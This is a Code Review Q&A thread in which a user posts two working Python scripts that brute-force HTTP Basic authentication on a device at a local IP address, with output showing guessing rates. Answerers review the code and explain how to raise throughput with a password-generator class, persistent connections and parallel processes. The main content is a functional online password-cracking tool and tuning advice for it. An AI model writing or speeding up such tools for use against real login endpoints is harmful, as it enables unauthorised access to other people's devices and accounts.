3
\$\begingroup\$

I am playing around with brute force attack on my home network. I wrote the following script with Python. However progress is a little slow. Does anyone have a suggestion how to make this faster?

import socket
import urllib2, base64
import sys
import time


def afunction(password_start):

    #-------------------------------------------------------------------------- ONLY ONCE
    charset = 'abcdefghijklmnopqrstuvwxyz0123456789'
    request = urllib2.Request("http://192.168.178.25/parse.html")
    num = len(charset)**3
    print "Trying to crack parse.html...\n"

    # STATUS VARIABLES
    totspeed = 0
    c= 0
    total = 36**6

    #GET THE INDEXES TO START WHERE THEY SHOULD
    first_time = True

    ilist = []
    for i in password_start:
        for index, j in enumerate(charset):
            if i == j:
                ilist.append(index)

    #USERNAME
    usrname = 'admin'

    #-------------------------------------------------------------------------- LOOP
    for idx, l in enumerate(charset):
        _q = idx
        if idx < ilist[0] and first_time:
            continue
        for idx2, m in enumerate(charset):
            _w = idx2
            if idx2 < ilist[1] and first_time:
                continue
            for idx3, n in enumerate(charset):
                _e = idx3
                if idx3 < ilist[2] and first_time:
                    continue
                at = time.time()
                for idx4,o in enumerate(charset):
                    if idx4 < ilist[3] and first_time:
                        continue
                    for idx5, p in enumerate(charset):
                        if idx5 < ilist[4] and first_time:
                            continue
                        for idx6, q in enumerate(charset):
                            if idx6 < ilist[5] and first_time:
                                continue

                            #PASSWORD
                            passwd = l+m+n+o+p+q
                            first_time = False

                            #LOGGING IN
                            base64string = base64.encodestring('%s:%s' % (usrname,passwd)).replace('\n', '')
                            request.add_header("Authorization", "Basic %s" % base64string)
                            try:
                                result = urllib2.urlopen(request)
                                print "Login succes!!  Username: %s"%usrname,"   Password: %s"%passwd
                                sys.exit()

                            #EVERY FAILED PASSWORD GOES IN HERE
                            except urllib2.HTTPError:
                                continue

                            #IF A NETWORK ERROR OCCURS, IT WILL BE CAUGHT WITH AN EXCEPTION
                            except socket.error:
                                print "\n Sleeping for a moment. Conncection is reset by peer...\n"
                                time.sleep(60)
                                afunction(passwd)


                            except urllib2.URLError:
                                if time.localtime()[3] < 21:
                                    print "Connection has been lost. Try again in 10 minutes"
                                    start3 = passwd
                                    time.sleep(600)
                                    afunction(passwd)

                                else:
                                    start3 = passwd
                                    print "Connection has been terminated at: %s\n"% time.ctime()
                                    print "Todays cracking ended with: %s"%start3
                                    print "Cracking will continue at 6 AM\n"
                                    while time.localtime()[3] != 6:
                                        time.sleep(600)
                                    time.sleep(300)
                                    afunction(passwd)

                #STATUS UPDATE
                bt = time.time()

                totpasswd = num/((bt-at))
                totspeed +=int(totpasswd)
                c+=1
                average = totspeed / c
                aa = (36-(_q+1) )
                bb = (36-(_w+1) )
                cc = (36-(_e+1) )
                if aa == 0: aa = 1
                if bb == 0: bb = 1
                if cc == 0: cc = 1
                passwordsleft = ( aa * 36**5) +( bb * 36**4) + ( cc * 36**3) + (36**3) + (36**2) + 36.
                estimatation = ((passwordsleft/average) / 3600 ) / 13.
                print usrname,"::::",l+m+n+'xxx',"::::", "  Processed %d passwords / sec"%totpasswd, "::::","  Estimated time left: %d days"%estimatation,"::::","  Passwords Left: %d"%passwordsleft, "::::","  Done: %.2f %%"%((passwordsleft/total)*100)

#RUN SCRIPT
afunction('aziaaa')

This is the output:

admin :::: fajxx ::::   Processed 737 passwords / sec ::::   Estimated time left: 25 hours ::::   Passwords Left: 52056468 ::::  Done: 13.91 %
admin :::: fakxx ::::   Processed 648 passwords / sec ::::   Estimated time left: 25 hours ::::   Passwords Left: 52055172 ::::  Done: 13.91 %
admin :::: falxx ::::   Processed 848 passwords / sec ::::   Estimated time left: 24 hours ::::   Passwords Left: 52053876 ::::  Done: 13.91 %
admin :::: famxx ::::   Processed 734 passwords / sec ::::   Estimated time left: 23 hours ::::   Passwords Left: 52052580 ::::  Done: 13.91 %

Following is similar code, but with the httlip library:

import sys
import time
import base64
import string
import httplib

def afunction(password_start):

    #-------------------------------------------------------------------------- ONLY ONCE
    charset = 'abcdefghijklmnopqrstuvwxyz0123456789'
    h = httplib.HTTP('192.168.178.25')
    num = len(charset)**2
    print "Trying to crack parse.html...\n"

    # STATUS VARIABLES
    totspeed = 0
    c= 0
    total = 36**5

    #GET THE INDEXES TO START WHERE THEY SHOULD
    first_time = True

    ilist = []
    for i in password_start:
        for index, j in enumerate(charset):
            if i == j:
                ilist.append(index)

    #USERNAME
    userid = 'admin'

    #-------------------------------------------------------------------------- LOOP
    for idx, l in enumerate(charset):
        _q = idx
        if idx < ilist[0] and first_time:
            continue
        for idx2, m in enumerate(charset):
            _w = idx2
            if idx2 < ilist[1] and first_time:
                continue
            for idx3, n in enumerate(charset):
                _e = idx3
                if idx3 < ilist[2] and first_time:
                    continue
                at = time.time()
                for idx4,o in enumerate(charset):
                    if idx4 < ilist[3] and first_time:
                        continue
                    for idx5, p in enumerate(charset):
                        if idx5 < ilist[4] and first_time:
                            continue

                        #PASSWORD
                        passwd = l+m+n+o+p
                        first_time = False

                        auth = 'Basic ' + string.strip(base64.encodestring(userid + ':' + passwd))

                        h.putrequest('GET', '/parse.html')
                        h.putheader('Authorization', auth )
                        h.endheaders()
                        if h.getreply()[0] == 401:
                            continue
                        elif h.getreply()[0] == 200:
                            print "Login succes!!  Username: %s"%userid,"   Password: %s"%passwd
                            sys.exit()
                        else:
                            print "Conncection lost..."
                            sys.exit()

                #STATUS UPDATE
                bt = time.time()
                dt = bt - at
                totpasswd = num/dt
                totspeed +=int(totpasswd)
                c+=1.
                average = totspeed / c
                aa = (36-(_q+1) )
                bb = (36-(_w+1) )
                cc = (36-(_e+1) )
                if aa == 0: aa = 1
                if bb == 0: bb = 1
                if cc == 0: cc = 1
                passwordsleft = ( aa * 36**4) +( bb * 36**3) + ( cc * 36**2) + (36**2) + 36.
                estimatation = ((passwordsleft/average) / 3600. )
                print userid,"::::",l+m+n+'xx',"::::", "  Processed %d passwords / sec"%totpasswd, "::::","  Estimated time left: %d hours"%estimatation,"::::","  Passwords Left: %d"%passwordsleft, "::::","  Done: %.2f %%"%(100-(((passwordsleft/total))*100))

    print "No password found.. Try something else.... "

#RUN SCRIPT
afunction('aaiaa')
#afunction('a47aaa')

The output is considerably slower:

admin :::: aatxx ::::   Processed 34 passwords / sec ::::   Estimated time left: 380 hours ::::   Passwords Left: 60441588 ::::  Done: 0.04 %
admin :::: aauxx ::::   Processed 30 passwords / sec ::::   Estimated time left: 389 hours ::::   Passwords Left: 60440292 ::::  Done: 0.04 %
admin :::: aavxx ::::   Processed 28 passwords / sec ::::   Estimated time left: 399 hours ::::   Passwords Left: 60438996 ::::  Done: 0.04 %
\$\endgroup\$
1
  • \$\begingroup\$ Instead of that nested mess of for-loops, check out itertools ; I suspect a usage of .product() is what you want. \$\endgroup\$
    – pjz
    Jun 20, 2012 at 17:44

2 Answers 2

4
\$\begingroup\$
import sys
import time
import base64
import string
import httplib

def afunction(password_start):

That's a pretty inspecific name for your function

    # ONLY ONCE
    charset = 'abcdefghijklmnopqrstuvwxyz0123456789'
    h = httplib.HTTP('192.168.178.25')

I'd put constants like charset and the ip address into global c onstants.

    num = len(charset)**2

The name num is not very specific, so its hard to tell what this is supposed to be. Its also not used until much later, so why define it here?

    print "Trying to crack setparm.htm...\n"

    # STATUS VARIABLES
    totspeed = 0
    c= 0

The speed of light? Don't use single letter variables unless maybe inside quick for loops

    total = 36**5

Why not use len(charset) here?

    #GET THE INDEXES TO START WHERE THEY SHOULD
    first_time = True

    ilist = []
    for i in password_start:
        for index, j in enumerate(charset):
            if i == j:
                ilist.append(index)

Actually this whole list can be written as ilist = [charset.index(char) for char in password_start]

    #USERNAME
    userid = 'admin'

I'd make this a global constnat

    #-------------------------------------------------------------------------- LOOP
    for idx, l in enumerate(charset):
        _q = idx

Why store it in idx only to copy it over? Use for _q, l in ...

        if idx < ilist[0] and first_time:
            continue
        for idx2, m in enumerate(charset):
            _w = idx2
            if idx2 < ilist[1] and first_time:
                continue
            for idx3, n in enumerate(charset):
                _e = idx3
                if idx3 < ilist[2] and first_time:
                    continue
                at = time.time()
                for idx4,o in enumerate(charset):
                    if idx4 < ilist[3] and first_time:
                        continue
                    for idx5, p in enumerate(charset):
                        if idx5 < ilist[4] and first_time:
                            continue

Yuck! You shouldn't to have nested for loops like this. I'll show you how to rewrite it later.

                        #PASSWORD
                        passwd = l+m+n+o+p
                        first_time = False

                        auth = 'Basic ' + string.strip(base64.encodestring(userid + ':' + passwd))

                        h.putrequest('GET', '/protect/setvar.htm')
                        h.putheader('Authorization', auth )
                        h.endheaders()
                        if h.getreply()[0] == 401:
                            continue
                        elif h.getreply()[0] == 200:
                            print "Login succes!!  Username: %s"%userid,"   Password: %s"%passwd
                            sys.exit()
                        else:
                            print "Conncection lost..."
                            sys.exit()

You may to include more information about what error happened. This whole section is ripe for being moved into another function

                #STATUS UPDATE
                bt = time.time()
                dt = bt - at
                totpasswd = num/dt
                totspeed +=int(totpasswd)

Why are you adding speeds rather then just tracking time from the start? c+=1. average = totspeed / c aa = (36-(_q+1) ) bb = (36-(_w+1) ) cc = (36-(_e+1) ) if aa == 0: aa = 1 if bb == 0: bb = 1 if cc == 0: cc = 1 passwordsleft = ( aa * 36**4) +( bb * 36**3) + ( cc * 36*2) + (36*2) + 36. estimatation = ((passwordsleft/average) / 3600. ) print userid,"::::",l+m+n+'xx',"::::", " Processed %d passwords / sec"%totpasswd, "::::"," Estimated time left: %d hours"%estimatation,"::::"," Passwords Left: %d"%passwordsleft, "::::"," Done: %.2f %%"%(100-(((passwordsleft/total))*100))

    print "No password found.. Try something else.... "

#RUN SCRIPT
afunction('aaiaa')
#afunction('a47aaa')

For generating the objects, I'd use a class liek this:

class PasswordGenerator(object):
    def __init__(self, password_start):
        self._state = [CHARSET.index(char) for char in password_start]

    def __iter__(self):
        return self

    def next(self):
        # convert indexes in password string
        password = ''.join(CHARSET[index] for index in self._state)

        # try incrementing the password state, starting at the last char
        for index in range(len(self._state) - 1, 0, -1):
            self._state[index] += 1

            if self._state[index]  == len(CHARSET):
                # if we've tried all the characters in the last position
                # reset and continue
                self._state[index] = 0
            else:
                # we're good, return the password
                return password
        else:
            # signal the end of passwords
            raise StopIteration

    def count(self):
        """
        Return the number of passwords not yet generated
        """
        total = 0
        for index, count in enumerate(self._state):
            total += (len(CHARSET) - count)*len(CHARSET)**(len(self._state)- index)
        return total

Lightly tested. The idea is that this object can generate the passwords of any length, and you use a single for loop instead of several nested ones.

I also tried using eventlet to speed up the processing. The idea is to use multiple requests at the same time. But this in my case made things slower. I speculate this is because I'm justting a localhost server on my desktop, and thus I'm not spending a lot of time waiting for network traffic.

\$\endgroup\$
2
  • \$\begingroup\$ Some Python masters here at stackexchange. Thanks a lot! Your tips are really straightforward, will not make these mistakes again! I realise now to make the variables a bit more clearer before I post as well. Thanks for helping me out! \$\endgroup\$
    – xfscrypt
    Jun 19, 2012 at 11:33
  • 1
    \$\begingroup\$ Are you sure you need a class? Using yield would simplify the code immensely, but you would not be able to implement count... it is up to you if it is worth the tradeoff \$\endgroup\$
    – Caridorc
    May 28, 2015 at 21:27
4
\$\begingroup\$
  • move the code that generates passwords and makes connections, retry logic to separate functions
  • make multiple requests using the same tcp connection (urllib doesn't support persistent connections, you could use httplib directly instead)
  • make multiple connections in parallel (using threads/processes and/or some async library e.g., requests.async

Here's the code: Brute force basic http authorization using httplib and multiprocessing.

\$\endgroup\$
5
  • \$\begingroup\$ ok. I tried with threads before though, but its considerably slower. let me try to find the code and i'll post it. I'll have a look to your other suggestions. thanks! \$\endgroup\$
    – xfscrypt
    Jun 17, 2012 at 16:13
  • \$\begingroup\$ Well as you can see, I tried to implement the httplib library but the code is remarkably slower. Is the "h = httplib.HTTP('192.168.178.25')" taking care of the same tcp connection as you suggested? \$\endgroup\$
    – xfscrypt
    Jun 18, 2012 at 14:45
  • \$\begingroup\$ @apfz: httplib + multiprocessing processes ~1100 passwords per second (the server produces max ~1200 replies/s without errors). \$\endgroup\$
    – jfs
    Jun 18, 2012 at 22:20
  • \$\begingroup\$ that is a really really nice pythonic code you linked me to. Your help is greatly appreciated, as I have learned much about Python this way. I got a similar passwords/sec as with the code I posted, I guess thats about the limit my network can go then. Again, thanks for being really helpful! \$\endgroup\$
    – xfscrypt
    Jun 19, 2012 at 11:28
  • \$\begingroup\$ @apfz: I've cleaned up the code slightly. You could tweak number of processes in the pool until passwords/sec rate levels off. \$\endgroup\$
    – jfs
    Jun 19, 2012 at 21:03

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service and acknowledge that you have read and understand our privacy policy and code of conduct.

Not the answer you're looking for? Browse other questions tagged or ask your own question.